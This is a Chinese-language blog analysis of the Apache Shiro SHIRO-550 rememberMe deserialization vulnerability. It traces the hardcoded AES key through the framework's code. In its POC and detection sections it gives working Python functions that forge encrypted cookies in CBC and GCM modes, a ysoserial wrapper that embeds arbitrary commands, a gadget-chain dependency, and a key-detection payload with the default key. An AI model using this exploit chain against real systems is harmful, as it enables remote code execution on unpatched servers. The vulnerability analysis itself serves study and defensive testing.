Shiro反序列化漏洞分析和检测利用


前言

漏洞公告:https://issues.apache.org/jira/browse/SHIRO-550

这是个16年的漏洞,直到最近两年才有了公开利用。官方的漏洞公告说的很明白,漏洞位置在Cookie中的RememberMe字段,功能本是用来序列化,加密,编码后保存用户身份的,当收到未验证身份的请求时,Shiro将会对RememberMe解码,解密,反序列化以读取用户身份,问题出在Shiro本身将加解密的Key硬编码到源代码中,这就导致了可以构造恶意数据导致反序列化漏洞。

环境

添加jstl和standard包,使用官方的sample起一个shiro实例

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

        <!-- https://mvnrepository.com/artifact/javax.servlet/jstl -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/taglibs/standard -->
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
        </dependency>

对源码概览一下,很容易发现问题核心点,即硬编码Key的位置

image-20210510104249927

通过漏洞原理,首先寻找程序本身登录成功后序列化用户信息的过程。

序列化和加密

登录,对登录成功后的操作方法打断点

image-20210510101236714

只有在选择了记住我后,Shiro才会对用户信息进行序列化操作。

image-20210510110417230

跟进forgetIdentity方法,跳到了shiro-web.jar

image-20210510111251102

image-20210510111339228

传递进去了requestresponse

image-20210510111542905

这里加了一个Cookie,就是用来做Shiro指纹的Set-Cookie: rememberMe=deleteMe;

当然这里流程是登录成功后执行的方法,实际上这个添加Cookie的方法在登陆失败时也有,所以可做成指纹。

image-20210510111938139

回到主要方法上,做了一个简简单单的判断

image-20210510112333026

跟进rememberIdentity方法

image-20210510112419196

image-20210510112644562

将用户名序列化,加密

image-20210510112743556

跟进加密方法

image-20210510143255999

看一下cipherService对象

image-20210510143334768

跟进getEncryptionCipherKey方法

image-20210510143602064

这个变量在断点之前已经被设置过了,就是key值base64解码后的结果

image-20210510143704656

image-20210510143716254

回到上边,跟进encrypt方法

image-20210510143817085

生成IV值

image-20210510144227417

给到下一步加密方法

image-20210510144457525

固定算法

image-20210510144616765

一路return回去,进入rememberSerializedIdentity方法

image-20210510144847906

subject对象和序列化加密后的身份信息,经过base64编码放到了Cookie

image-20210510145236548

至此加密过程就完了,HTTP流量中服务器会把处理过的身份信息设置为rememberMe的Cookie。

image-20210510145356430

解密和反序列化

根据Shiro的变量命名和业务流程,断点打到org.apache.shiro.mgt.AbstractRememberMeManagergetRememberedPrincipals方法

image-20210510151009801

跟进getRememberedSerializedIdentity,读取之前处理过的Cookie

image-20210510154749951

对base64补全

image-20210510160242701

返回base64解码后的字节码

image-20210510160318955

返回根据convertBytesToPrincipals

image-20210510160504764

跟进

image-20210510160624308

这里带着数据和Key,跟进decrypt

image-20210510161355930

品一下这个流程,iv的长度是固定的,也就是16位

image-20210510161437679

将源数据的前16位给到了iv,后边的给到了encrypted,带着key,继续跟进

image-20210510161644474

这里的mode硬编码为2

image-20210510161841823

initNewCipher就是原生的Cipher.init方法了,利用key解密原始数据

return后,就到了反序列化操作

image-20210510162339640

跟进

image-20210510162439353

继续跟进

这里就到了原生的反序列化了

image-20210510162624246

image-20210510162542896

至此反序列化链条结束。

POC

加密流程

  1. 获取加密算法:AES/CBC/PKCS5Padding
  2. 随机生成IV
  3. 读取硬编码的Key
  4. 使用以上三者生成密文
  5. base64编码,放到Cookie的rememberMe

解密流程

  1. 读取Cookie中的rememberMe
  2. base64补全后解密
  3. IV和数据都从解密后的原数据获取
  4. 获取硬编码Key
  5. 利用Key,IV,固定算法对数据解密
  6. 将解密后的数据反序列化

可以看到,IV是根据原数据生成的,同时key又是硬编码,这就导致我们可以反序列化任意对象。

POC生成流程

  1. 生成反序列化数据
  2. 随机生成16位的IV
  3. AES/MODE_CBC
  4. 用硬编码的Key和IV对数据加密
  5. base64加密拼接后的IV和密文

由于Padding Oracle Attack,Shiro从1.4.2开始使用GCM算法,这两种算法用python都可以实现

def GCMCipher(key, file_body):
    iv = os.urandom(16)
    cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
    ciphertext, tag = cipher.encrypt_and_digest(file_body)
    ciphertext = ciphertext + tag
    base64_ciphertext = base64.b64encode(iv + ciphertext)
    return base64_ciphertext


def CBCCipher(key, file_body):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    file_body = pad(file_body)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

也可以借助ysoserial利用

def generator(fp, plugin, key, command):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, plugin, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

利用需要有利用链,可以加一个maven

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

image-20210510173429854

进阶检测

利用Shiro550最关键的就是获取Key值,之前的检测方法基本都是配合URLDNS或者CC盲打,直到l1nk3r师傅发现了一种快速的检测Key方法。

当Key错误或者正常访问时,Shiro会返回一个Set-Cookie: rememberMe=deleteMe,跟一下这个操作

回到最初的入口getRememberedPrincipals,跟进到decrypt

image-20210510174546779

一直跟到crypt解密错误

image-20210510175244602

image-20210510175329021

步入失败方法

image-20210510175359903

image-20210510175418648

又来到了forgetIdentity,上边已经走过,这里是增加rememberMe=deleteMe头的

image-20210510175521857

让我们回到反序列化时的关键操作

image-20210510180032387

这里我们反序列化的gadget实际上并不是继承于PrincipalCollection,这里会出现强制类型转换报错

image-20210510180226741

虽然弹出了计算器,但是和上边一样,同样会由于错误而走到增加rememberMe=deleteMe头,我们需要一个继承于PrincipalCollection的类,并且key正确时不额外增加头。

于是便找到了SimplePrincipalCollection

image-20210510180755558

空类即可

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();

Key正确时

image-20210510182016354

Key错误时

image-20210510182054408

上文SimplePrincipalCollection空类的base64

rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==

可用上文的CBCCipher方法生成检测Payload

print(CBCCipher('kPH+bIxk5D2deZiIxcaaaA==', base64.b64decode(payload)).decode())


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM